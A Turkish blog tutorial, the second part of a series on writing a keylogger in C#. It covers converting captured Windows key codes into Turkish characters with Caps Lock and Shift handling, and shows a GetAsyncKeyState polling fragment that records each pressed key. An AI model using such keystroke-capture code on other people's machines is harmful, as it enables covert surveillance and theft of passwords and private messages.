Bir önceki yazıda klavyeyi dinleyip karakter kodlarını harflere çevirmiştik. Ancak hatırlarsanız Türkçe karakterlerde sıkıntı çıkıyordu. Bu yazıda bu sorunu çözüp diğer özel karakterleri ve tuşları daha okunaklı hale getireceğiz.

C# - Klavye Dinleyici (Keylogger) Yapımı (2. Bölüm)
Bir önceki gibi bunun da yazıyla bir alakası yok.

Yazının ilk bölümünden bu yana beş ay kadar bir süre geçti. Sebebi şu ki; bir hata sonucu diskteki tüm veriyi kaybettim. Yazılar için hazırladığım projeler de gitti doğal olarak. Ubuntu kullanıyordum, tekrar Windows kurup her şeye en baştan başladım. Belki bir süre daha yeni bölümü yazmazdım ama kayıtlı taslakları karıştırırken yazının neredeyse hazır olduğunu fark edip birkaç düzenlemeyle yayınladım. Bir sonraki bölümü de muhtemelen yakın zamanda yazarım.

Türkçe karakter sorununu çözmeye çalışırken saatlerce uğraştım diyebilirim. En temiz yöntemi bulmak için denemediğim yol kalmadı. Aslında sorun şu; klavyeden basılan tuş ASCII karşılığını vermiyor. Örneğin, A tuşu 65 gönderiyor ama Ç tuşu 220 gönderiyor. Oysaki karakter kodu 199. Ben de çözümü hepsini tek tek deneyip karakter kodlarını diziye attıktan sonra klavyenin gönderdiği kodlarla değiştirmekte buldum.

Türkçe Karakterleri Tanıma

Hatırlarsanız aldığımız harfleri bytes adında bir byte listesine atıyorduk. Ancak Türkçe karakterlerin bazılarının karakter kodu 255'i geçtiği için byte olan listeyi Int16 (short) olarak güncelledim. Siz de aşağıdaki gibi değiştirmelisiniz.

static List bytes = new List();

* Renklendirmeler dikkatinizi dağıtmasın abidik gubidik görünüyor kodlar.

Şimdi Program sınıfında bir short parametresi alıp yine short döndüren bir method yazacağız. Aldığımız her karakteri bu methoddan geçirip karakter kodu listesine ondan sonra ekleyeceğiz.

static Int16 MakeChar(Int16 key)
{
    return key;
}

Method içinde iki tane short dizisi tanımlayacağız. İlki (keycode) klavyeden gelen kodları, ikincisi (charcode) Türkçe karakter karşılıklarını tutuyor.

Int16[] keycode = { 220, 219, 222, 191, 186, 221 }, charcode = { 199, 286, 304, 214, 350, 220, 231, 287, 105, 246, 351, 252 };

İlk dizide altı, ikincide on iki eleman olduğu dikkatinizi çekmiştir. İkinci dizideki altıncı elemandan sonrası küçük harflerin kodları. Caps Lock durumuna göre dizi içinden istediğimiz karakteri alacağız. Şimdi methoda parametre olarak gelen kodun ilk dizi (keycode) içinde olup olmadığına (yani basılan tuşun Türkçe karakter olup olmadığına) bakacağız.

int keyIndex = Array.IndexOf(keycode, key);

IndexOf methodu verilen değerin, dizi içinde olup olmadığına bakar. Eğer varsa index numarasını yoksa -1 değeri döndürür.

Şimdi, bir önceki yazıda yaptığımız CapsLock ve Shift kontrolünü tekrar yapacağız fakat bu sefer bir değişkene atıp kullanacağız.

bool nocaps = (!Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys == Keys.Shift);

if (nocaps && key > 64 && key < 91)
{
    key = (Int16)(key == 73 ? 305 : key + 32);
}

Aynı kontrolün biraz daha açılmış halini yaptık. Ayriyeten kodda bir kontrol daha görüyorsunuz. Büyük I harfini küçük harfe çevirirken i olarak çevirdiği için kontrol edip "i" yerine "ı" yazdırmasını sağladık.

Şimdi if kontrolümüzü aşağıdaki gibi değiştirelim ve yukarıda aldığımız keyIndex değerinin kontrolünü yapalım.

if (nocaps && key > 64 && key < 91)
{
    key = (Int16)(key == 73 ? 305 : key + 32);
}
else if (keyIndex != -1)
{
    key = nocaps ? charcode[keyIndex + 6] : charcode[keyIndex];
}

Parametre olarak gelen değer keycode içinde var mı diye baktıktan sonra eğer ki varsa (dönen değer -1 değilse) gelen kodu charcode içindeki kendi index'ine karşılık gelen değer ile değiştirdik. Eğer ki CapsLock ve Shift kapalı ya da her ikisi de açıksa (nocaps) index değerine altı ekledik. Çünkü altı türkçe karakterden sonra aynı karakterlerin sırasıyla küçük harfleri var.

Methodun son hali aşağıdaki gibi.

static Int16 MakeChar(Int16 key)
{
    Int16[] keycode = { 220, 219, 222, 191, 186, 221 }, charcode = { 199, 286, 304, 214, 350, 220, 231, 287, 105, 246, 351, 252 };
    int keyIndex = Array.IndexOf(keycode, key);
            
    bool nocaps = (!Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys == Keys.Shift);

    if (nocaps && key > 64 && key < 91)
    {
        key = (Int16)(key == 73 ? 305 : key + 32);
    }
    else if (keyIndex != -1)
    {
        key = nocaps ? charcode[keyIndex + 6] : charcode[keyIndex];
    }

     Debug.Write((char)key);

    return key;
}

Methodun işe yarayıp yaramadığını test etmek için tuş basılma kontrolü yaptığımız yeri aşağıdaki gibi güncelledikten sonra Debug işlemini başlatıp Türkçe bir şeyler yazmayı deneyin.

if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
    Int16 key = MakeChar(i);
    bytes.Add(key);

    break;
}

Bu kadar. Bir sonraki yazıda harflerin ve sayıların üzerindeki özel karakterleri tanımaya çalışacağız.

Projenin buraya kadar olan bölümünü indirmek için KeyloggerExample2.rar linkine tıklayabilirsiniz.